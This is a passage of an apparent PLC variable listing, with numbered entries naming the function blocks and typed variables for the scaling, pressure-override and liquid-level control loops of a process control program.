+265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; 